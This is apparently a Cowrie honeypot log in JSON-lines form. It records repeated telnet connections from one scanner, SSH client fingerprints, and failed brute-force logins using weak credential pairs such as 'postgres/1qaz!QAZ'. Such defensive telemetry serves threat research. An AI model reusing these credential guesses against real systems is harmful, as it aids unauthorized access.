{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52036,"dst_ip":"159.203.135.109","dst_port":23,"session":"b56bca53dceb","protocol":"telnet","message":"New connection: 51.81.202.206:52036 (159.203.135.109:23) [session: b56bca53dceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:13.187028Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":52224,"dst_ip":"159.203.135.109","dst_port":23,"session":"67afce3d5f4e","protocol":"telnet","message":"New connection: 51.81.202.206:52224 (159.203.135.109:23) [session: 67afce3d5f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:13.263184Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":53358,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4f5fa48b37","protocol":"telnet","message":"New connection: 51.81.202.206:53358 (159.203.135.109:23) [session: 9f4f5fa48b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:13.822906Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:13.984625Z","src_ip":"112.217.199.222","session":"7ec9411614bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":54044,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e7cb8f401b3","protocol":"telnet","message":"New connection: 51.81.202.206:54044 (159.203.135.109:23) [session: 3e7cb8f401b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:14.183239Z"}
{"eventid":"cowrie.session.closed","duration":30.327149629592896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:14.191497Z","src_ip":"51.81.202.206","session":"e0ed37ee33d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50268,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e446dd7d930","protocol":"ssh","message":"New connection: 159.203.92.129:50268 (159.203.135.109:22) [session: 2e446dd7d930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:14.355381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:14.360273Z","src_ip":"159.203.92.129","session":"2e446dd7d930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:14.364673Z","src_ip":"159.203.92.129","session":"2e446dd7d930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"12345678","message":"login attempt [alex/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:14.375908Z","src_ip":"159.203.92.129","session":"2e446dd7d930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:15.382474Z","src_ip":"159.203.92.129","session":"2e446dd7d930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":32838,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b4df23d557","protocol":"telnet","message":"New connection: 51.81.202.206:32838 (159.203.135.109:23) [session: d3b4df23d557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:17.589140Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":34334,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7288285bf83","protocol":"telnet","message":"New connection: 51.81.202.206:34334 (159.203.135.109:23) [session: f7288285bf83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:18.265460Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":36612,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6b4bffcc3be","protocol":"telnet","message":"New connection: 51.81.202.206:36612 (159.203.135.109:23) [session: d6b4bffcc3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:19.411909Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":38028,"dst_ip":"159.203.135.109","dst_port":23,"session":"7608f7c4dc0d","protocol":"telnet","message":"New connection: 51.81.202.206:38028 (159.203.135.109:23) [session: 7608f7c4dc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:20.077257Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":40670,"dst_ip":"159.203.135.109","dst_port":23,"session":"319c4575c4f4","protocol":"telnet","message":"New connection: 51.81.202.206:40670 (159.203.135.109:23) [session: 319c4575c4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:21.377254Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":45984,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a72c6ba745f","protocol":"telnet","message":"New connection: 51.81.202.206:45984 (159.203.135.109:23) [session: 7a72c6ba745f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:23.596073Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":46238,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5973b256d3f","protocol":"telnet","message":"New connection: 51.81.202.206:46238 (159.203.135.109:23) [session: d5973b256d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:23.691100Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":46602,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f0cf9576dc","protocol":"telnet","message":"New connection: 51.81.202.206:46602 (159.203.135.109:23) [session: e2f0cf9576dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:23.823138Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48630,"dst_ip":"159.203.135.109","dst_port":23,"session":"7febe820fb08","protocol":"telnet","message":"New connection: 51.81.202.206:48630 (159.203.135.109:23) [session: 7febe820fb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:24.698984Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":49378,"dst_ip":"159.203.135.109","dst_port":23,"session":"99bcf293bb10","protocol":"telnet","message":"New connection: 51.81.202.206:49378 (159.203.135.109:23) [session: 99bcf293bb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:25.016495Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":50998,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d33a89803b7","protocol":"telnet","message":"New connection: 51.81.202.206:50998 (159.203.135.109:23) [session: 9d33a89803b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:25.707540Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"30f7d53aef45","protocol":"telnet","message":"New connection: 51.81.202.206:54604 (159.203.135.109:23) [session: 30f7d53aef45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:27.401696Z"}
{"eventid":"cowrie.session.closed","duration":30.123265027999878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:30.075904Z","src_ip":"51.81.202.206","session":"0415dbf9c5b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69610595703125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:30.196042Z","src_ip":"51.81.202.206","session":"d9cb8f7367bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554746389389038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:31.131279Z","src_ip":"51.81.202.206","session":"539f39b7281a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.602243185043335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:32.780424Z","src_ip":"144.79.218.12","session":"76b1fd61f3fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":42092,"dst_ip":"159.203.135.109","dst_port":23,"session":"51506d0fca4a","protocol":"telnet","message":"New connection: 51.81.202.206:42092 (159.203.135.109:23) [session: 51506d0fca4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:34.377635Z"}
{"eventid":"cowrie.session.closed","duration":30.247337579727173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:36.173683Z","src_ip":"51.81.202.206","session":"68293a75ce31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794796228408813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:36.200938Z","src_ip":"51.81.202.206","session":"c7369ef853e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":46308,"dst_ip":"159.203.135.109","dst_port":23,"session":"510e6d2b28d4","protocol":"telnet","message":"New connection: 51.81.202.206:46308 (159.203.135.109:23) [session: 510e6d2b28d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:36.315701Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48872,"dst_ip":"159.203.135.109","dst_port":23,"session":"364d95d83ba2","protocol":"telnet","message":"New connection: 51.81.202.206:48872 (159.203.135.109:23) [session: 364d95d83ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:37.436311Z"}
{"eventid":"cowrie.session.closed","duration":30.977651357650757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:38.182021Z","src_ip":"51.81.202.206","session":"630a0fabda82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.086070775985718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:39.116836Z","src_ip":"51.81.202.206","session":"37099f5dfe48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116340398788452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:39.120576Z","src_ip":"51.81.202.206","session":"610633339d33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":54090,"dst_ip":"159.203.135.109","dst_port":23,"session":"02744609e8e9","protocol":"telnet","message":"New connection: 51.81.202.206:54090 (159.203.135.109:23) [session: 02744609e8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:39.712907Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":55000,"dst_ip":"159.203.135.109","dst_port":23,"session":"26635357cad2","protocol":"telnet","message":"New connection: 51.81.202.206:55000 (159.203.135.109:23) [session: 26635357cad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:40.180895Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":56960,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ca71f2dcf9e","protocol":"telnet","message":"New connection: 51.81.202.206:56960 (159.203.135.109:23) [session: 7ca71f2dcf9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:41.189458Z"}
{"eventid":"cowrie.session.closed","duration":30.270021200180054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:42.045036Z","src_ip":"51.81.202.206","session":"6778df02d0fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":59152,"dst_ip":"159.203.135.109","dst_port":23,"session":"0412ba786c38","protocol":"telnet","message":"New connection: 51.81.202.206:59152 (159.203.135.109:23) [session: 0412ba786c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:42.235297Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":57148,"dst_ip":"159.203.135.109","dst_port":22,"session":"75257ca0eeee","protocol":"ssh","message":"New connection: 152.32.213.101:57148 (159.203.135.109:22) [session: 75257ca0eeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:43.062088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:43.067959Z","src_ip":"152.32.213.101","session":"75257ca0eeee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:43.281106Z","src_ip":"152.32.213.101","session":"75257ca0eeee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.887242794036865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:44.074032Z","src_ip":"51.81.202.206","session":"b56bca53dceb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qaz!QAZ","message":"login attempt [postgres/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:44.174825Z","src_ip":"152.32.213.101","session":"75257ca0eeee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.672701358795166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:44.495451Z","src_ip":"51.81.202.206","session":"9f4f5fa48b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63242268562317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:44.895465Z","src_ip":"51.81.202.206","session":"67afce3d5f4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.868632793426514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:45.051746Z","src_ip":"51.81.202.206","session":"3e7cb8f401b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:45.399338Z","src_ip":"152.32.213.101","session":"75257ca0eeee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":40122,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f4871629e99","protocol":"telnet","message":"New connection: 51.81.202.206:40122 (159.203.135.109:23) [session: 7f4871629e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:46.281576Z"}
{"eventid":"cowrie.session.closed","duration":36.14442992210388,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:47.052737Z","src_ip":"144.79.218.12","session":"e4a5541caff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":42440,"dst_ip":"159.203.135.109","dst_port":23,"session":"813a7c14c62f","protocol":"telnet","message":"New connection: 51.81.202.206:42440 (159.203.135.109:23) [session: 813a7c14c62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:47.389572Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":44378,"dst_ip":"159.203.135.109","dst_port":23,"session":"52c0cf53b4a6","protocol":"telnet","message":"New connection: 51.81.202.206:44378 (159.203.135.109:23) [session: 52c0cf53b4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:48.334098Z"}
{"eventid":"cowrie.session.closed","duration":31.081121683120728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:48.670170Z","src_ip":"51.81.202.206","session":"d3b4df23d557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42410,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cfa2e36b431","protocol":"telnet","message":"New connection: 144.79.218.12:42410 (10.17.0.5:23) [session: 7cfa2e36b431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:48.951621Z"}
{"eventid":"cowrie.session.closed","duration":30.939813375473022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:49.205181Z","src_ip":"51.81.202.206","session":"f7288285bf83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.674540996551514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:50.086342Z","src_ip":"51.81.202.206","session":"d6b4bffcc3be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":48472,"dst_ip":"159.203.135.109","dst_port":23,"session":"e91ad38c1494","protocol":"telnet","message":"New connection: 51.81.202.206:48472 (159.203.135.109:23) [session: e91ad38c1494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:50.397686Z"}
{"eventid":"cowrie.session.closed","duration":31.036036252975464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:51.113153Z","src_ip":"51.81.202.206","session":"7608f7c4dc0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806296348571777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:52.183453Z","src_ip":"51.81.202.206","session":"319c4575c4f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":55210,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bd696c3a517","protocol":"telnet","message":"New connection: 51.81.202.206:55210 (159.203.135.109:23) [session: 6bd696c3a517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:53.436513Z"}
{"eventid":"cowrie.session.closed","duration":30.463499784469604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:54.059451Z","src_ip":"51.81.202.206","session":"7a72c6ba745f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37732172012329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:54.068087Z","src_ip":"51.81.202.206","session":"d5973b256d3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.297499895095825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:54.120511Z","src_ip":"51.81.202.206","session":"e2f0cf9576dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":57190,"dst_ip":"159.203.135.109","dst_port":23,"session":"9207d297ccdb","protocol":"telnet","message":"New connection: 51.81.202.206:57190 (159.203.135.109:23) [session: 9207d297ccdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:54.486055Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":57590,"dst_ip":"159.203.135.109","dst_port":23,"session":"979a16e4a8c6","protocol":"telnet","message":"New connection: 51.81.202.206:57590 (159.203.135.109:23) [session: 979a16e4a8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:54.724021Z"}
{"eventid":"cowrie.session.closed","duration":30.361376762390137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:55.060266Z","src_ip":"51.81.202.206","session":"7febe820fb08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.202.206","src_port":58606,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c23a52fe4d4","protocol":"telnet","message":"New connection: 51.81.202.206:58606 (159.203.135.109:23) [session: 3c23a52fe4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:55.259737Z"}
{"eventid":"cowrie.session.closed","duration":31.030433893203735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:56.046822Z","src_ip":"51.81.202.206","session":"99bcf293bb10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.356302976608276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:38:56.063743Z","src_ip":"51.81.202.206","session":"9d33a89803b7","protocol":"telnet"}
